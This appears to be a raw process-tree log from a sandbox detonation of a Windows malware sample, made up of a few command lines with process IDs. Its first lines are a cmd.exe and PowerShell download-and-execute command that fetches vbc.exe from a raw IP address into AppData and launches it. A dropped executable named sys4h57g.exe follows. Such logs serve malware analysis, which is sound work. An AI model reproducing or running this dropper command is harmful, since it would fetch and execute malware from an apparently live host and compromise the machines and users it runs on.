cmd.exe "C:\Windows\System32\cmd.exe" /c powershell (New-Object System.Net.WebClient).DownloadFile('http://193.169.255.212/pnb/vbc.exe', '%AppData%\\vbc.exe') & powershell Start-Process -FilePath '%AppData%\\vbc.exe' & exit
2864powershell.exe powershell (New-Object System.Net.WebClient).DownloadFile('http://193.169.255.212/pnb/vbc.exe', 'C:\Users\test22\AppData\Roaming\\vbc.exe')
2156sys4h57g.exe "C:\Users\test22\AppData\Local\sys30\sys4h57g.exe"
2376explorer.exe C:\Windows\Explorer.EXE
1236